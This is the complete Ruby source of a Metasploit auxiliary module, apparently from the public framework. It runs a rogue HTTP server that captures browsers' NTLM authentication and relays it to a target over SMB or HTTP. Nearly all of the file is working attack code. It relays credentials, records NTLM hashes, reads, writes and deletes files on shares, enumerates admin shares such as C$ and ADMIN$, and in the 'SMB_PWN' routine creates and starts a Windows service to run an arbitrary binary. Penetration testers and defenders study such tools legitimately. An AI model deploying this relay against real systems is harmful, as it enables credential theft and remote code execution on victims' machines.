metasploit-framework/modules/auxiliary/server/http_ntlmrelay.rb

680 lines
22 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/message'
require 'rex/proto/ntlm/crypt'
require 'rex/exceptions'
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
# Aliases for common classes
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
NDR = Rex::Encoder::NDR
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client MS Credential Relayer',
'Description' => %q{
This module relays negotiated NTLM Credentials from an HTTP server to multiple
protocols. Currently, this module supports relaying to SMB and HTTP.
Complicated custom attacks requiring multiple requests that depend on each
other can be written using the SYNC* options. For example, a CSRF-style
attack might first set an HTTP_GET request with a unique SNYNCID and set
an HTTP_POST request with a SYNCFILE, which contains logic to look
through the database and parse out important values, such as the CSRF token
or authentication cookies, setting these as configuration options, and finally
create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs.
},
'Author' =>
[
'Rich Lundeen <richard.lundeen[at]gmail.com>',
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'WebServer' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options([
OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET",
[ "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM",
"SMB_LS", "SMB_PWN" ]]),
OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]),
OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]),
OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]),
OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]),
OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]),
])
register_advanced_options([
OptPath.new('RESPPAGE', [false,
'The file used for the server response. (Image extensions matter)', nil]),
OptPath.new('HTTP_HEADERFILE', [false,
'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]),
OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM',
'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
])
deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
end
# Handles the initial requests waiting for the browser to try NTLM auth
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
else
cli.keepalive = true;
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli.send_response(response)
return false
end
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on.
# Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
if (datastore['SYNCFILE'] != nil)
sync_options()
end
handle_relay(cli,hash)
end
end
def run
parse_args()
exploit()
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
# The call to handle_relay should be a victim HTTP type 1 request
def handle_relay(cli_sock, hash)
print_status("Beginning NTLM Relay...")
message = Rex::Text.decode_base64(hash)
# get type of message, which will be HTTP, SMB, ...
protocol = datastore['RTYPE'].split('_')[0]
if(message[8,1] != "\x03")
# Relay NTLMSSP_NETOTIATE from client to server (type 1)
case protocol
when 'HTTP'
resp, ser_sock = http_relay_toserver(hash)
if resp.headers["WWW-Authenticate"]
t2hash = resp.headers["WWW-Authenticate"].split(" ")[1]
else
print_error "#{rhost} is not requesting authentication."
cli_sock.close
ser_sock.close
return false
end
when 'SMB'
t2hash, ser_sock = smb_relay_toservert1(hash)
end
# goes along with above, resp is now just the hash
client_respheader = "NTLM " << t2hash
# Relay NTLMSSP_CHALLENGE from server to client (type 2)
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = client_respheader
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli_sock.send_response(response)
# Get the type 3 hash from the client and relay to the server
cli_type3Data = cli_sock.get_once(-1, 5)
begin
cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1]
cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0]
rescue ::NoMethodError
print_error("Error: Type3 hash not relayed.")
cli_sock.close()
return false
end
case protocol
when 'HTTP'
resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock)
when 'SMB'
ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock)
# perform authenticated action
action = datastore['RTYPE'].split('_')[1]
case action
when 'GET'
resp = smb_get(ser_sock)
when 'PUT'
resp = smb_put(ser_sock)
when 'RM'
resp = smb_rm(ser_sock)
when 'ENUM'
resp = smb_enum(ser_sock)
when 'LS'
resp = smb_ls(ser_sock)
when 'PWN'
resp = smb_pwn(ser_sock, cli_sock)
end
end
report_info(resp, cli_type3Hash)
# close the client socket
response = set_cli_200resp()
cli_sock.send_response(response)
cli_sock.close()
if protocol == 'HTTP'
ser_sock.close()
end
return
else
print_error("Error: Bad NTLM sent from victim browser")
cli_sock.close()
return false
end
end
def parse_args()
# Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA
if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
raise ArgumentError
elsif datastore['PUTDATA'] != nil
@finalputdata = datastore['PUTDATA']
elsif datastore['FILEPUTDATA'] != nil
f = File.open(datastore['FILEPUTDATA'], "rb")
@finalputdata = f.read
f.close
end
if (not framework.db.active) and (not datastore['VERBOSE'])
print_error("No database configured and verbose disabled, info may be lost. Continuing")
end
end
# sync_options dynamically changes the arguments of a running attack
# this is useful for multi staged relay attacks
# ideally I would use a resource file but it's not easily exposed, and this is simpler
def sync_options()
print_status("Dynamically eval()'ing local ruby file: #{datastore['SYNCFILE']}")
# previous request might create the file, so error thrown at runtime
if not ::File.readable?(datastore['SYNCFILE'])
print_error("SYNCFILE unreadable, aborting")
raise ArgumentError
end
data = ::File.read(datastore['SYNCFILE'])
eval(data) # WARNING: This can be insanely insecure!
end
# relay creds to server and perform any HTTP specific attacks
def http_relay_toserver(hash, ser_sock = nil)
timeout = 20
type3 = (ser_sock == nil ? false : true)
method = datastore['RTYPE'].split('_')[1]
theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
"Connection: Keep-Alive\r\n" )
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
if datastore['HTTP_HEADERFILE'] != nil
print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
# previous request might create the file, so error thrown at runtime
if not ::File.readable?(datastore['HTTP_HEADERFILE'])
print_error("HTTP_HEADERFILE unreadable, aborting")
raise ArgumentError
end
# read file line by line to deal with any dos/unix ending ambiguity
File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
next if header.strip == ''
theaders << (header) << "\r\n"
end
end
opts = {
'uri' => normalize_uri(datastore['RURIPATH']),
'method' => method,
'version' => '1.1',
}
if (@finalputdata != nil)
# we need to get rid of an extra "\r\n"
theaders = theaders[0..-3]
opts['data'] = @finalputdata << "\r\n\r\n"
end
opts['SSL'] = true if datastore["RSSL"]
opts['raw_headers'] = theaders
ser_sock = connect(opts) if !type3
r = ser_sock.request_raw(opts)
resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
# Type3 processing
if type3
# check if auth was successful
if resp.code == 401
print_error("Auth not successful, returned a 401")
else
print_status("Auth successful, saving server response in database")
end
vprint_status(resp.to_s)
end
return [resp, ser_sock]
end
# relay ntlm type1 message for SMB
def smb_relay_toservert1(hash)
rsock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Timeout' => 3,
'Context' =>
{
'Msf' => framework,
'MsfExploit'=> self,
}
)
if (not rsock)
print_error("Could not connect to target host (#{target_host})")
return
end
ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
if (datastore['RPORT'] == '139')
ser_sock.client.session_request()
end
blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
ser_sock.client.negotiate(true)
ser_sock.client.require_signing = false
resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
# Save the user_ID for future requests
ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
begin
#lazy ntlmsspblob extraction
ntlmsspblob = 'NTLMSSP' <<
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
"\x00\x00"
rescue ::Exception => e
print_error("Type 2 response not read properly from server")
raise e
end
ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
return [ntlmsspencodedblob, ser_sock]
end
# relay ntlm type3 SMB message
def smb_relay_toservert3(hash, ser_sock)
# arg = get_hash_info(hash)
dhash = Rex::Text.decode_base64(hash)
# Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
blob =
"\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
"\x30" + Rex::Proto::NTLM::Utils.asn1encode(
"\xa2" + Rex::Proto::NTLM::Utils.asn1encode(
"\x04" + Rex::Proto::NTLM::Utils.asn1encode(
dhash
)
)
)
)
resp = ser_sock.client.session_setup_with_ntlmssp_blob(
blob,
false,
ser_sock.client.auth_user_id
)
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
# check if auth was successful
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
print_status("SMB auth relay succeeded")
else
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
failure.word_count = resp['Payload']['SMB'].v['WordCount']
failure.command = resp['Payload']['SMB'].v['Command']
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
raise failure
end
return ser_sock
end
# gets a specified file from the drive
def smb_get(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
path = path
ser_sock.client.tree_connect(share)
ser_sock.client.open("\\" << path, 0x1)
resp = ser_sock.client.read()
print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
vprint_status("----Contents----")
vprint_status(resp["Payload"].v["Payload"])
vprint_status("----End Contents----")
ser_sock.client.close()
return resp["Payload"].v["Payload"]
end
# puts a specified file
def smb_put(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
path = path
ser_sock.client.tree_connect(share)
fd = ser_sock.open("\\#{path}", 'rwct')
fd << @finalputdata
fd.close
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
print_status(logdata)
return logdata
end
# deletes a file from a share
def smb_rm(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
path = path
ser_sock.client.tree_connect(share)
ser_sock.client.delete('\\' << path)
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted"
print_status(logdata)
return logdata
end
# smb share enumerator, overly simplified, just tries connecting to configured shares
# This could be improved by using techniques from SMB_ENUMSHARES
def smb_enum(ser_sock)
shares = []
datastore["SMB_SHARES"].split(",").each do |share_name|
begin
ser_sock.client.tree_connect(share_name)
shares << share_name
rescue
next
end
end
print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}")
return shares
end
# smb list directory
def smb_ls(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
ser_sock.client.tree_connect(share)
files = ser_sock.client.find_first(path << "\\*")
print_status(
"Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}"
)
if datastore["VERBOSE"]
files.each {|filename| print_status(" #{filename[0]}")}
end
return files
end
# start a service. This methos copies a lot of logic/code from psexec (and smb_relay)
def smb_pwn(ser_sock, cli_sock)
# filename is a little finicky, it needs to be in a format like
# "%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe
filename = datastore['RURIPATH']
ser_sock.connect("IPC$")
opts = {
'Msf' => framework,
'MsfExploit' => self,
'smb_pipeio' => 'rw',
'smb_client' => ser_sock
}
uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"])
dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
print_status("Obtraining a service manager handle...")
stubdata =
NDR.uwstring("\\\\#{datastore["RHOST"]}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
print_status("Creating a new service")
servicename = Rex::Text::rand_text_alpha(8)
displayname = Rex::Text::rand_text_alpha(rand(32)+1)
svc_handle = nil
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring(filename) + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
#svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
return
end
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
ser_sock.disconnect("IPC$")
end
# print status, and add to the info database
def report_info(resp, type3_hash)
data = get_hash_info(type3_hash)
# no need to generically always grab everything, but grab common config options
# and the response, some may be set to nil and that's fine
data[:protocol] = datastore['RTYPE']
data[:RHOST] = datastore['RHOST']
data[:RPORT] = datastore['RPORT']
data[:RURI] = datastore['RURIPATH']
data[:SYNCID] = datastore['SYNCID']
data[:Response] = resp
report_note(
:host => data[:ip],
:type => 'ntlm_relay',
:update => 'unique_data',
:data => data
)
end
# mostly taken from http_ntlm module handle_auth function
def get_hash_info(type3_hash)
# authorization string is base64 encoded message
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash)
nt_len = ntlm_hash.length
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => lm_hash,
:nt_hash => ntlm_hash
}
if arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
# if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 48 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => lm_hash[0, 32],
:lm_cli_challenge => lm_hash[32, 16],
:nt_hash => ntlm_hash[0, 32],
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
}
elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ")
else
print_status("Unknow hash type from #{host}, ignoring ...")
end
arg[:host] = host
arg[:user] = user
arg[:domain] = domain
return arg
end
# function allowing some basic/common configuration in responses
def set_cli_200resp()
response = create_response(200, "OK")
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
if (datastore['RESPPAGE'] != nil)
begin
respfile = File.open(datastore['RESPPAGE'], "rb")
response.body = respfile.read
respfile.close
type = datastore['RESPPAGE'].split('.')[-1].downcase
# images can be especially useful (e.g. in email signatures)
case type
when 'png', 'gif', 'jpg', 'jpeg'
print_status('setting content type to image')
response.headers['Content-Type'] = "image/" << type
end
rescue
print_error("Problem processing respfile. Continuing...")
end
end
if (response.body.empty?)
response.body = "<HTML><HEAD><TITLE>My Page</TITLE></HEAD></HTML>"
end
return response
end
end